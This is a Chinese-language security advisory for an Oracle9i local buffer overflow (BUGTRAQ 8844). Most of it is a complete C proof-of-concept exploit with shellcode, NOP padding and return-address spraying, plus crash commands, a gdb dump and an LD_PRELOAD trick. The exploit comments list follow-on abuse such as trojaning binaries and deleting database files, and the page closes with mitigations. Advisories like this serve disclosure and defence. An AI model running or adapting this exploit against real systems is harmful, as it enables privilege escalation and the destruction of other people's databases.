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Oracle Database Server Oracle程序本地缓冲区溢出漏洞


发布时间:2003-10-17
更新时间:2003-10-17
严重程度:
威胁程度:权限提升
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:8844

受影响系统
Oracle Oracle9i Enterprise Edition 9.0.1
Oracle Oracle9i Enterprise Edition 9.2 .0.4
Oracle Oracle9i Personal Edition 9.0.1
Oracle Oracle9i Personal Edition 9.2 .0.4
Oracle Oracle9i Standard Edition 9.0
Oracle Oracle9i Standard Edition 9.0.1 .4
Oracle Oracle9i Standard Edition 9.0.1 .3
Oracle Oracle9i Standard Edition 9.0.1 .2
Oracle Oracle9i Standard Edition 9.0.1
Oracle Oracle9i Standard Edition 9.0.2
Oracle Oracle9i Standard Edition 9.2 .0.4
详细描述
Oracle Database Server 'oracle'程序存在本地缓冲区溢出。

在传递命令行参数给'oracle'程序时缺少充分的边界缓冲区检查,可导致以'oracle'进程权限在系统上执行任意代码。

测试代码
/*

             ** Proof of Concept Code brought to you by c0ntex@hushmail.com **

                     Release 2 Patch Set 3 Ver 9.2.0.4.0 for Linux x86

                        ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

Oracle 9i installed onto a Redhat 9 x86 node with the latest Oracle patch kit has a
generic stack based buffer overflow.

By passing a large argv[1] input string one is able to overwrite the EIP register with
user controlled data, resulting in a segmentation fault that can be controlled to allow
the execution of arbitrary code.

      /database/u00/app/oracle/product/9.2.0.1.0/bin/oracle
      /database/u00/app/oracle/product/9.2.0.1.0/bin/oracleO

with Release 2 Patch Set 3 Version 9.2.0.4.0 for Linux.

These binaries become vulnerable to attack because they are made or get set with a +s
flag. This allows users other than `oracle` to attach to restricted sections of the
database, memory segments ....

All we need to do is create a shellcode that will setreuid of the oracle userID on the
vulnerable system, yielding oracle user to the world.

By exploiting this basic bug, one is presented with the following options:

        1) trojan oracle binaries
        2) delete key database files
        3) corrupt or modify data
        4) shutdown abort the database
        5) anything else oracle user can do

AIX architecture has also been tested and seems to be vulnerable to the same attack, I
guess that probably every other arch is too.

If you run oracle as root (don't know why you would do such a thing) then you will loose
your server, loosing your database is not so bad??

bash> `which ulimit` -c 999999
bash> /database/u00/app/oracle/product/9.2.0.1.0/bin/oracle `perl -e 'print "A"x9850'`
Segmentation fault (core dumped)

#0  0x41414141 in ?? ()
(gdb) i r
eax            0x1d16   7446
ecx            0xbfffb5a8       -1073760856
edx            0x41414141       1094795585
ebx            0x41414141       1094795585
esp            0x41414141       0x41414141
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x10202  66050
cs             0x23     35
....

A quick work around for this would be to remove [+s] flag. This will stop anyone being
able to gain `oracle` access to the database via this advised method.

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

Since the clearcase abuse information was not posted on all forums, I thought I would
share this Oracle candy that I mentioned in that advisory.
Here it is, c0ntex is still not full of hot air or false claims, this stuff is true man.

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

My library bug on Linux proved to be pretty useless. Example information to make all
binaries segmentation fault:

bash># echo $LD_PRELOAD

bash># export LD_PRELOAD=/bin/su
bash># ulimit -c 999999
bash># su
Segmentation fault (core dumped)
bash># passwd
Segmentation fault (core dumped)

tsk tsk...

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

Ok, no more jokes, I will not tease people with information about bugs without posting
code to go with it. So I will not mention the issues with php, rlogin, default apache2
install and .. oops, I will not mention them until I am willing to share code. Relax
fella..! =|

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

Oracle informed over a month ago, got back to me very quickly but have heard nowt since,
he who delays is a shepards delight... If you get owned, blame them!

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

Comments, questions to c0ntex@hushmail.com - Flames to contex@hushmail.com

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define VERSION "Operation_Oracle_Owner_Ownage_Overflow_Oday Version 1.0.1"
#define VULNUBL "oracle"// Vulnerable binary
#define SMASHIT 9850    // Minimum BUFF
#define DEFAULT 2222    // Default RET_OFSET
#define PADDING 0x90    // BUFF PADDING
#define REALUID         // ORACLE UserID For Shellcode Testing
//#define BADPAD 15000

/* Oracle UID Shellcode :: "\x31\xc0\xb3"REALUID"\xb0\x46\xcd\x80"; */
char operation_oracle[] = "\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";

unsigned long retrieve_offset()
{
        __asm__(
                        "movl %esp, %eax"
        );
}

int main(int argc, char *argv[])
{
        char Bucket[SMASHIT];
        unsigned long badd_addr;
        unsigned short delta = 0x00;
        unsigned short i;

        if(argc > 1) {
                delta = atol(argv[0x01]);
        }
        else
        {
                delta = DEFAULT;
        }

        badd_addr = retrieve_offset() - delta;

        printf("\n\n*************************************************************\n"
                        "*************************************************************\n");

        printf("[-] %s\n", VERSION);
        printf("[-] -------------------------------------------------------\n"
                        "[-] An offset value from 1750 - 3500 should work perfectly\n"
                        "[-] if this does not nail it first time.\n"
                        "[-] -------------------------------------------------------\n"
                        "[-] Execute this PoC and attach ltrace with -o to a file so\n"
                        "[-] you can grep for the goodness - c0ntex@hushmail.com\n"
                        "[-] http://twistedminds.mine.nu/files/oracle_ownage.c\n"
                        "[-] -------------------------------------------------------\n"
                        "[-] gcc -Wall -o oracle_owned oracle_owned.c\n"
                        "[-] Usage: %s offset_value\n", argv[0x00]);

        for(i = 0x00; i < SMASHIT; i += 0x04)
                *(long *) &Bucket[i] = badd_addr;

        for(i = 0x00; i < (SMASHIT - strlen(operation_oracle) - 0x50); i++)
                *(Bucket + i) = PADDING;

        memcpy(Bucket + i, operation_oracle, strlen(operation_oracle));

        printf("[-] Using Return address 0x%lx\n", badd_addr);
        printf("[-] Using offset value %d\n", delta);

        printf("*************************************************************\n"
                        "*************************************************************\n\n");

        execlp("/database/u00/app/oracle/product/9.2.0.1.0/bin/oracle", VULNUBL, Bucket, NULL);

        return 0x00;
}

解决方案
chmod o-x oracle

或者补丁下载:

http://metalink.oracle.com/

相关信息
c0ntex <c0ntex@hushmail.com>.
参考:http://otn.oracle.com/deploy/security/pdf/2003alert59.pdf
http://metalink.oracle.com/